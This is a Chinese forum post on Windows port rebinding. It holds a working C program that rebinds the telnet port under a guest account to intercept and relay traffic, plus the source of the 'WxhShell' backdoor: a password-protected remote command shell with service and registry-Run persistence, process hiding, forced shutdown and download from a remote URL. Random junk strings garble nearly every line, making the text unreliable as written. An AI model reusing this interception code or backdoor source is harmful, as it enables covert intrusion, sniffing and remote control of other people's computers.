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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Mp!2`4rD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0qOM78rE  
kg zwlKK  
  saddr.sin_family = AF_INET; K@I+]5E%?  
4GEjW4E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l)|z2 H  
W=q?tD~V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GcPB'`!M  
mI2|0RWI)l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jY1^+y{  
=#7s+d-  
  这意味着什么?意味着可以进行如下的攻击: BASO$?jf4  
^Z#<tN;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?U7&R%Lh`  
pIk4V/ fy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f:)]FHPB1  
0;. e#(`-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |j\eBCnH3  
:0i#=ODR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {6REfY c  
Q&\ZC?y4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lsTe*Od  
'5&B~ 1&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I$rW[l2  
j(wY/Hl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fSm?27_  
_Eet2;9  
  #include BN bb&]  
  #include kW*W4{Fth  
  #include b@UF PE5jy  
  #include    $\=6."R5<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :Map,]]B_  
  int main() 9 u6 g  
  { {RWahnr{  
  WORD wVersionRequested; CVn;RF6  
  DWORD ret; 3M5=@Fwkr  
  WSADATA wsaData; `pn-fk  
  BOOL val; HvL9;^!  
  SOCKADDR_IN saddr; eFeCS{LV+  
  SOCKADDR_IN scaddr; ** "s~  
  int err; JN9HT0  
  SOCKET s; 8I|1P l  
  SOCKET sc; }T&;*ww  
  int caddsize; }pU!1GsO  
  HANDLE mt; p5D3J[?N  
  DWORD tid;   $(!D/bvJ  
  wVersionRequested = MAKEWORD( 2, 2 ); x<j($iv  
  err = WSAStartup( wVersionRequested, &wsaData ); (,Zz&3 AV  
  if ( err != 0 ) { Ib<5u  
  printf("error!WSAStartup failed!\n"); ~vvQz"  
  return -1; xHR+((  
  } s`7 _J9  
  saddr.sin_family = AF_INET; 7xa@wa?!L  
   Q{)F$]w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 88X*:Kf?:  
}][|]/s?42  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^5iY/t~Q  
  saddr.sin_port = htons(23); ;gw!;!T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4FP~+  
  { "Ezr-4  
  printf("error!socket failed!\n"); %.Q2r ?j  
  return -1; hghto \G5Y  
  } 4wEpyQ|L  
  val = TRUE; Eo3Aak o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A0 w `o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M#gGD-  
  { gpTF^.(  
  printf("error!setsockopt failed!\n"); "vHAp55B{  
  return -1; q2o$s9}B  
  } '%r@D&*vp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .TrQ +k>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QR-R5XNT[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9G\3hL]  
88L bO(q\d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .}u(&  
  { lDM~Z3(/b  
  ret=GetLastError();  B*~Bm.  
  printf("error!bind failed!\n"); .j$bCKXGx  
  return -1; ""KN?qh9  
  } }(7QJk5 j  
  listen(s,2); g(F*Y> hk  
  while(1) ezy5Jqk5%  
  { [LEh  
  caddsize = sizeof(scaddr); lM]),}   
  //接受连接请求 8QgL7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &!EYT0=>p  
  if(sc!=INVALID_SOCKET) w*R-E4S?2  
  { |ssIUJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g.sV$.T2K  
  if(mt==NULL) uNGxz*e  
  { xW ZcSIH!  
  printf("Thread Creat Failed!\n"); KO;61y:  
  break; 2g8P$+;  
  } N5_.m(:  
  } ])l[tVHm  
  CloseHandle(mt); g#2X'%&+  
  } #.t{g8W\C  
  closesocket(s); NB#*`|qt  
  WSACleanup(); NKh {iSLm  
  return 0; ~F6gF7]z  
  }   ~,65/O  
  DWORD WINAPI ClientThread(LPVOID lpParam) JX<W[P>M  
  { R}26"+~  
  SOCKET ss = (SOCKET)lpParam; 0-~x[\>>  
  SOCKET sc; =8 D4:Ds  
  unsigned char buf[4096]; k0uwG'(z9  
  SOCKADDR_IN saddr; Bx!` UdRn  
  long num; pREY AZh  
  DWORD val; Ax*~[$$~%  
  DWORD ret; 9o'6es..@Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A:J{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <5}du9@  
  saddr.sin_family = AF_INET; ?0%TE\I8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [k}\{i>  
  saddr.sin_port = htons(23); )eMh,r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y/(-mcR  
  { * v]UgPk  
  printf("error!socket failed!\n"); Vgk,+l!4  
  return -1; w8ld* z  
  } m3-J0D<  
  val = 100; r2'rf pQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .p}Kl$K]  
  { x@}Fn:c!5  
  ret = GetLastError(); EQ $9IaY.  
  return -1; Lc?O K"[m  
  } 5^/[]*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *b_54X%3  
  { mh]$g<*m  
  ret = GetLastError(); H12@12v  
  return -1; @NE#P&f  
  } ~Xw?>&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Tv(1HAc2l  
  { 3Q)>gh*  
  printf("error!socket connect failed!\n"); gAP}KR#T  
  closesocket(sc);  gV kI=J  
  closesocket(ss); G'f"w5%qZv  
  return -1; N2e<Y_T  
  } @~3c;9LkY  
  while(1) i@L2W>{P  
  { :5J6rj;_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >t(@?*ZFT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <LN$[&f#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hM w`e  
  num = recv(ss,buf,4096,0); c"1d#8J  
  if(num>0) ,+.# eg  
  send(sc,buf,num,0); $uhDBmb  
  else if(num==0) [^~9wFNtd  
  break; K/cK6Yr  
  num = recv(sc,buf,4096,0); w-Fk&dC69  
  if(num>0) 4&fnu/,Z  
  send(ss,buf,num,0); v19`7qgR(  
  else if(num==0) O]eJQ4XN<  
  break; <Q)}  
  } \'*`te:{  
  closesocket(ss); *pp1Wa7O  
  closesocket(sc); S '+"+%^tj  
  return 0 ; *`T &Dlt'8  
  } b%j:-^0V  
P^W47 SO  
<t{AY^:r  
========================================================== :PkZ(WZ9  
U:hC! t:  
下边附上一个代码,,WXhSHELL 38i,\@p`9$  
8-YrmP2k  
========================================================== yVzg<%CR^  
%Oqe7Cx>+  
#include "stdafx.h" \;gt&*$-  
^?[<!VBI  
#include <stdio.h> E,yK` mPp^  
#include <string.h> >irT|VTf  
#include <windows.h> i]%"s_l  
#include <winsock2.h> S'p`ECfVMA  
#include <winsvc.h> tuV?:g?  
#include <urlmon.h> QC,(rB  
j88sE MZ  
#pragma comment (lib, "Ws2_32.lib") w{EU9C  
#pragma comment (lib, "urlmon.lib")  WPKTX,k  
 j)6B^!  
#define MAX_USER   100 // 最大客户端连接数 AiHf?"EVT  
#define BUF_SOCK   200 // sock buffer T<k1?h^7  
#define KEY_BUFF   255 // 输入 buffer s/H"Ab  
8w?\_P7QA  
#define REBOOT     0   // 重启 MPy][^s!  
#define SHUTDOWN   1   // 关机 pF+wH MhUe  
[iy;}5XK  
#define DEF_PORT   5000 // 监听端口 1?#9K j{ql  
Al=? j#J6p  
#define REG_LEN     16   // 注册表键长度 i9k]Q(o  
#define SVC_LEN     80   // NT服务名长度 NVWeJ+w  
rGGepd  
// 从dll定义API 2BA9T nxC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aW-o=l@;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f<altz_\q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k&iScMgCTH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0W%}z}/ N  
"`*a)'.'^c  
// wxhshell配置信息 Rue|<d1  
struct WSCFG { |aAWW d5  
  int ws_port;         // 监听端口 B~g05`s  
  char ws_passstr[REG_LEN]; // 口令 b_gN?F7_  
  int ws_autoins;       // 安装标记, 1=yes 0=no >VUQTg  
  char ws_regname[REG_LEN]; // 注册表键名 Bd~cY/M  
  char ws_svcname[REG_LEN]; // 服务名  |iUfM3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @))}\:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %i -X@.P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0mD;.1:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cm 9oG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X$|TN+Ub  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kbp( a+5  
ml33qXW:  
}; _[vdY|_  
}vUlTH  
// default Wxhshell configuration ncJFB,4  
struct WSCFG wscfg={DEF_PORT, <+-Yh_D  
    "xuhuanlingzhe", m/<F 5R  
    1, ^YG7dd_  
    "Wxhshell", (3N"oE.b]  
    "Wxhshell", oGJ*Rn)Z  
            "WxhShell Service", *TM;trfz  
    "Wrsky Windows CmdShell Service", #6N+5Yx_[  
    "Please Input Your Password: ", y^d[( c  
  1, p2Dh3)&  
  "http://www.wrsky.com/wxhshell.exe", rQcRjh+E H  
  "Wxhshell.exe" B.22 DuE#  
    }; ]{,Gf2v;;d  
5?5- ;H  
// 消息定义模块 f2O*8^^Y{Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?E+:]j_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -t@y\vZF,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WxVn&c\  
char *msg_ws_ext="\n\rExit."; &o*s !u  
char *msg_ws_end="\n\rQuit."; (odR'#  
char *msg_ws_boot="\n\rReboot..."; VqK%^  
char *msg_ws_poff="\n\rShutdown..."; + mfe*'AU  
char *msg_ws_down="\n\rSave to "; qIbg 4uE  
(C`FicY  
char *msg_ws_err="\n\rErr!"; >~I xyQp  
char *msg_ws_ok="\n\rOK!"; aho'|%y)  
H96BqNoO  
char ExeFile[MAX_PATH]; E`Jp(gK9F  
int nUser = 0; `Yx-~y5X  
HANDLE handles[MAX_USER]; vKNt$]pm=  
int OsIsNt; iNod</+"K  
?EI'^xg  
SERVICE_STATUS       serviceStatus; de> ?*%<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .:}.b"%m  
};&HhBc!g  
// 函数声明 Guk.,}9  
int Install(void); 4. 1rJa  
int Uninstall(void); qbS'|--wH  
int DownloadFile(char *sURL, SOCKET wsh); 4$yV%[j  
int Boot(int flag); Dc08D4   
void HideProc(void); `AWy!}8  
int GetOsVer(void); q`XW5VV{K  
int Wxhshell(SOCKET wsl); 8RVS)D''  
void TalkWithClient(void *cs); -x{dc7y2  
int CmdShell(SOCKET sock); {jvOHu  
int StartFromService(void); {vs 4vS6  
int StartWxhshell(LPSTR lpCmdLine); l^.K'Q1~a  
2ck 4C/ h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g %f*ofb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YRPm^kW  
Ck: 9gn  
// 数据结构和表定义 :z]}ZZ  
SERVICE_TABLE_ENTRY DispatchTable[] = MhNFW'_  
{ }.p<wCPy6  
{wscfg.ws_svcname, NTServiceMain},  >1A*MP4  
{NULL, NULL} BT]ua]T+  
}; $f#agq_  
MU'@2c  
// 自我安装 'Y.Vn P&H  
int Install(void) ^(ScgoXva  
{ QdQ d(4/1  
  char svExeFile[MAX_PATH]; ` @8`qXg  
  HKEY key; 3t)v %S|k  
  strcpy(svExeFile,ExeFile); {Hl[C]25X  
QYQtMb,  
// 如果是win9x系统,修改注册表设为自启动 yPV' pT)  
if(!OsIsNt) { scW'AJJq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zk&h:c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<|ocUC7  
  RegCloseKey(key); Q.+|xwz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mffIf1f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SHD^}?-|  
  RegCloseKey(key); B<7/,d'  
  return 0; >E:<E'L  
    } @m~RtC-Q  
  } !g>.i`  
} e'2Y1h  
else { WA$ JI@g  
)4R:)-"f  
// 如果是NT以上系统,安装为系统服务 99=s4*xzM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #eK=  
if (schSCManager!=0) Q6 ?z_0  
{ C5W>W4EM  
  SC_HANDLE schService = CreateService |.P/:e9  
  ( }CDk9Xk  
  schSCManager, 4f^C\i+q  
  wscfg.ws_svcname, \*0yaSQF  
  wscfg.ws_svcdisp, e-5?p~>  
  SERVICE_ALL_ACCESS, ,FZT~?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :q#K} /  
  SERVICE_AUTO_START, 9}29&O  
  SERVICE_ERROR_NORMAL, [zkikZy  
  svExeFile, }-@4vl x$  
  NULL, Ad$n4Ze  
  NULL, {g6Qv-  
  NULL, gNpJ24QK  
  NULL, /mM2M-  
  NULL b;GD/UI  
  ); bEV<iZDq%  
  if (schService!=0) ,8MLoZ _  
  { C\ZkGX  
  CloseServiceHandle(schService); :-`7Q\c}  
  CloseServiceHandle(schSCManager); KvPX=/&Zu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DI|:p!Nx  
  strcat(svExeFile,wscfg.ws_svcname); IJIzXU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6\jf|:h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q,h7Sk*  
  RegCloseKey(key); TXXy\$  
  return 0; WQNE2Q  
    } _c$9eAe  
  } 3]&o*Ib1`_  
  CloseServiceHandle(schSCManager); qFQ 8  
} R%D'`*+  
} gk[{2HgN  
6 15s5ZA  
return 1; '_k+WH&  
} YW@#91.  
KOz(TZ?u  
// 自我卸载 :,b iyJt  
int Uninstall(void) r|e-<t4.9L  
{ K$K^=> I"o  
  HKEY key; K_?W\Yg   
?Iyo9&1&  
if(!OsIsNt) { sVk$x:k1M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -x8nQ%X  
  RegDeleteValue(key,wscfg.ws_regname); }]n$ %g (  
  RegCloseKey(key); ofYlR|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZQ^r`W9_ +  
  RegDeleteValue(key,wscfg.ws_regname); 2&c9q5.b  
  RegCloseKey(key); )*;zW! H  
  return 0; N,2s?Y_!  
  } {!|}=45Z  
} joKIrS0y  
} 8d*/HF)h  
else { r78TE@d  
kg@>;(V&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /!^&;$A'  
if (schSCManager!=0) {u1V|q  
{ [.RO'>2z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V-n&oCS+f  
  if (schService!=0) +w@M~?>  
  { ]EwVpvTw  
  if(DeleteService(schService)!=0) { ?bM_q_5  
  CloseServiceHandle(schService); 7eWk7&Xul  
  CloseServiceHandle(schSCManager); ,rJXy_  
  return 0; [,2|Flf e  
  } Ig3;E+*>  
  CloseServiceHandle(schService); &>e-(4Xu  
  } U=hlu  
  CloseServiceHandle(schSCManager); =+ t^f  
} dlhdsj:  
} 6[OzU2nB  
N3u((y/  
return 1; p-1 3H0Kt  
} 5M9 I,  
JaB<EL-9r2  
// 从指定url下载文件 hXqD<?  
int DownloadFile(char *sURL, SOCKET wsh) v3v[[96p  
{ @as"JAN  
  HRESULT hr; Q#nOJ(KV  
char seps[]= "/"; R+&jD;U{  
char *token; N^Bo .U0\  
char *file; t3dlS`O  
char myURL[MAX_PATH]; $Y5)(  
char myFILE[MAX_PATH]; :n /@z4#  
detwa}h[0  
strcpy(myURL,sURL); B<C*  
  token=strtok(myURL,seps); O(+phRwJ  
  while(token!=NULL) D@!=d@V.  
  { l x,"EOP  
    file=token; X/N0LU(q  
  token=strtok(NULL,seps); Bdj%hyW  
  } #!)n {h+  
|=&cQRY!p  
GetCurrentDirectory(MAX_PATH,myFILE); cI=(\pC  
strcat(myFILE, "\\"); sJ]taY ou  
strcat(myFILE, file); [,TkFbDq"J  
  send(wsh,myFILE,strlen(myFILE),0); }d<}FJ-,  
send(wsh,"...",3,0); lkBdl#]9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OK\A</8r  
  if(hr==S_OK) cK 06]-Y  
return 0; yz0zFfiX  
else ?wO-cnl  
return 1; e^O(e  
+"1NC\<*  
} qbv#I;  
|^A;&//  
// 系统电源模块 P{u0ftyX}  
int Boot(int flag) # vry0i  
{ EOm:!D\  
  HANDLE hToken; 8O Soel  
  TOKEN_PRIVILEGES tkp; 8cA~R-  
{RF-sqce  
  if(OsIsNt) { zD<or&6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $jg*pmR-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |_yYLYH'   
    tkp.PrivilegeCount = 1; L: z?Zt)|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1|ra&(=)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %DdJ ^qHI  
if(flag==REBOOT) { N2w"R{)j\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5sb\r,kW  
  return 0; I6Ce_|n ?k  
} A* um{E+   
else { AGbhJ=tB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ##4GK08!  
  return 0; C[%OkPR,H  
} *f?4   
  } K#U<ib-v  
  else { |<GDUwC_;  
if(flag==REBOOT) { vPD] hs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~I} &V T  
  return 0; PpgP&;z4  
} YiPoYlD*n<  
else { d`F&aC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4vwTs*eB `  
  return 0; X#e1KZ  
} R[;z X(y  
} K5XK%Gl"  
$bsG]  
return 1; EcCFbqS4W  
} ETXZ?\<a5  
@0SC"CqM  
// win9x进程隐藏模块 uNHF'?X  
void HideProc(void) :Cp'm'omb  
{ 4Z/Q=Mq2  
\xS&v7b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EMfdBY5  
  if ( hKernel != NULL ) )kkhJI*v  
  { %!PM&zV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,Bal  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >J>b>SU=-  
    FreeLibrary(hKernel); wV ^V]c?U  
  } :M6+p'`j  
G3{=@Z1  
return; Y14W?|KOB  
} T9879[ZU\  
 ,qYJioWX  
// 获取操作系统版本 ?|ZTaX6A  
int GetOsVer(void) 4M^G`WA}t9  
{ b/Xbs0q  
  OSVERSIONINFO winfo; 44F`$.v96  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 91xB9k1zO  
  GetVersionEx(&winfo); ;j)FnY=:-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C|o`k9I#  
  return 1; w#g#8o>'  
  else 4sP2g&  
  return 0; $]rj73p^tH  
} dS5a  
<bD>m[8,  
// 客户端句柄模块 56Vb+0J'  
int Wxhshell(SOCKET wsl) 5=1^T@~#&  
{ nM0[P6p  
  SOCKET wsh; /-i !;!  
  struct sockaddr_in client; `3Uj{w/Q:L  
  DWORD myID; c~v~2DM  
(~J^3O]Fo  
  while(nUser<MAX_USER) <Engi!  
{ H~E(JLcU  
  int nSize=sizeof(client); &RTX6%'KY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |eWjYGwJa  
  if(wsh==INVALID_SOCKET) return 1; SC- $B  
!S_^94b@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wGZR31  
if(handles[nUser]==0) "hy.GWF|*  
  closesocket(wsh); !XzF67  
else V._(q^  
  nUser++; j6g[N4xr  
  } # (- Qx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wy%s1iu  
/P 2[:[w  
  return 0; &< !Ufa&  
} $*W6A/%O  
1=]kWp`i  
// 关闭 socket Kn?lHH*w7  
void CloseIt(SOCKET wsh) VnT>K9&3  
{ U`]T~9I  
closesocket(wsh); A%2:E^k(s  
nUser--; 1U,1)<z~u  
ExitThread(0); /QEiMrz@6  
} /o2P+Xr8"  
/NFz4h =>  
// 客户端请求句柄 c1xrn4f@a  
void TalkWithClient(void *cs) x{&w?ng  
{ leCVK.  
dHk{.n^p  
  SOCKET wsh=(SOCKET)cs; Gx 72  
  char pwd[SVC_LEN]; (S^8UV  
  char cmd[KEY_BUFF]; )}L??|#  
char chr[1]; |~ _'V "  
int i,j; 9V.u-^o&  
O$ HBO  
  while (nUser < MAX_USER) { 2:LHy[{5  
Gc$gJnQio  
if(wscfg.ws_passstr) { x3zj ?-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ayBRWT0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Y=+Ls(3o(  
  //ZeroMemory(pwd,KEY_BUFF); DS xUdEK6  
      i=0; **>/}.%?K  
  while(i<SVC_LEN) {  a1j.fA  
gf+d!c(/  
  // 设置超时 Xq4|uuS-O  
  fd_set FdRead; <*EZ@XoN>  
  struct timeval TimeOut; b|5w]<?'  
  FD_ZERO(&FdRead); |7@O( $b  
  FD_SET(wsh,&FdRead); aV1lJ ;0  
  TimeOut.tv_sec=8; ,pBh`av  
  TimeOut.tv_usec=0; B[9 (FRX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <:|3rfm#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q:8_]Qt  
$c&0F,   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A-ZmG7xk  
  pwd=chr[0]; `)4a[thp  
  if(chr[0]==0xd || chr[0]==0xa) { =xianQ<lK  
  pwd=0; OU7 %V)X5  
  break; 1t9.fEmT  
  } FP"$tt(  
  i++; smQVWs>  
    } kWj \x|E  
5f:DN\ ]  
  // 如果是非法用户,关闭 socket OVk ~N)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M*pRv  
} R \s!*)  
`3q;~ 9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $WW)bP d4^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'YSuQP>  
%G3sjnI;l  
while(1) { kD.pzx EM  
#Tp]^ n  
  ZeroMemory(cmd,KEY_BUFF); _2vd`k  
`&$B3)Eb  
      // 自动支持客户端 telnet标准   .>6 Wv0  
  j=0; F:37MUQi  
  while(j<KEY_BUFF) { UmKX*T9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X21dX`eMN  
  cmd[j]=chr[0]; gH:ArfC  
  if(chr[0]==0xa || chr[0]==0xd) { 7uI#L}y  
  cmd[j]=0; ?q91:H   
  break; CV.+P-  
  } VS/;aG$&y  
  j++; CP` XUpX`&  
    } {)K](S ~  
{8NwFN.  
  // 下载文件 XrN- 2HTV  
  if(strstr(cmd,"http://")) { .`C V^\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;6DnId2Zh  
  if(DownloadFile(cmd,wsh)) cBEHH4U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zX5G;,_  
  else [N|xzMe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x,Y 5U+]E  
  } # .q#O C  
  else { jM__{z  
v$$]Gv(  
    switch(cmd[0]) { ; Zq/eiB  
  A 0#Y, 1  
  // 帮助 mtw9AoO  
  case '?': { n,KA&)/s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C{Blqf3V0  
    break; \f"?Tv-C'  
  } =s[ &;B`s  
  // 安装 cgyo_ k  
  case 'i': { v.`+I-\.z)  
    if(Install()) Bxv8RB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JE)J<9gf  
    else 6q%ed UED  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n>llSK  
    break; 0>Fqx{!heq  
    } 0$2={s4ze  
  // 卸载 .Z5[_'T  
  case 'r': { @)z*BmP  
    if(Uninstall()) v*L '{3f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & s-VSu7  
    else WF)s*$'uz;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K\X: G-C9  
    break; (rMZ  
    } `Qq/ F]  
  // 显示 wxhshell 所在路径 qC.i6IL  
  case 'p': { NUu;tjt:  
    char svExeFile[MAX_PATH]; Nu+wL>t  
    strcpy(svExeFile,"\n\r"); ` @>ZGL:  
      strcat(svExeFile,ExeFile); i+RD]QL  
        send(wsh,svExeFile,strlen(svExeFile),0); ^;64!BaK  
    break; IQoH@l&Xk  
    } \^m.dIPdO  
  // 重启 TMY{OI8a  
  case 'b': { r./z,4A`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '^B3pR:  
    if(Boot(REBOOT)) N&N 82OG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1gP R  
    else { (n}%a6M  
    closesocket(wsh); /KP_Vc:g2_  
    ExitThread(0); !?n50  
    } 4)E|&)-fu8  
    break; uegb;m  
    } F_ _H(}d  
  // 关机 Z]p8IH%~92  
  case 'd': { y\@SC\jk|  
